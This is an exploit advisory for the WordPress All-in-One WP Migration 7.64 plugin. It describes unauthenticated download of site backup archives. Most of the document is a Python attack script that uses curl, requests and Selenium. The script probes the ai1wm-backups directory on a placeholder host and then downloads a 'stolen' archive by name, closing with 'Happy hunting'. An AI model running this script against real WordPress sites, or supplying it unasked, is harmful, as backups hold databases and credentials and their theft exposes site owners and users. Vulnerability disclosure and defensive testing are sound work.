WordPress All-in-One WP Migration 7.64 plugin - Unauthenticated Backup Download Exploit

## Title: All-in-One-WP-Migration-7.64 low-protection-file-disclosure - Unauthenticated Backup Download 
## Author: nu11secur1ty
## Date: 09.01.2022
## Vendor: https://servmask.com/
## Software: https://wordpress.org/plugins/all-in-one-wp-migration/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/All-in-One-WP-Migration


## Description:
The All-in-One-WP-Migration-7.64 suffers from low-protection-file-disclosure - Unauthenticated Backup Download.
The attacker can hit some directory with some strong customizing fuzzing software, and he can download 
very sensitive information about this system, it depends on the case. 
WARNING! This vulnerability can be VERY DANGEROUS!

Status: Medium-HIGH

[+] Exploit:

```python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os
from colorama import init, Fore, Back, Style
init(convert=True)
import requests

target='http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/'
print("Test if you can access the directory\n")
time.sleep(3)

print(Fore.GREEN +"Please wait...\n")
print(Style.RESET_ALL)
time.sleep(5)
print(Fore.BLUE +"The Access status of the directory is...\n")
print(Style.RESET_ALL)
print(Fore.YELLOW +"The Access status of the directory is...\n")
dir_check = os.system('curl -I -v -c cookie -b cookie http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/')
print(Style.RESET_ALL)

status = requests.get(target)
print(Fore.BLUE+"ATTENTION! The status of the code for accessing the directory is:",status)
print(Style.RESET_ALL)

if status.status_code == 200:
    print(Fore.RED +"The Access status of the directory is lowlily protected...")
    print(Style.RESET_ALL)
else:
    print(Fore.RED +"The Access status of the directory is strongly protected...\n")
    print(Style.RESET_ALL)
    
stolen_archive=input("Give the stolen name of the archive...\n")
driver = driver = webdriver.Firefox()
driver.get('http://pwnedhost.com/wordpress/wp-content/ai1wm-backups/' + stolen_archive)

print(Fore.RED +"Happy hunting with nu11secur1ty =)")
print(Style.RESET_ALL)

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/All-in-One-WP-Migration)

## Proof and Exploit:
[href](https://streamable.com/m3xcxv)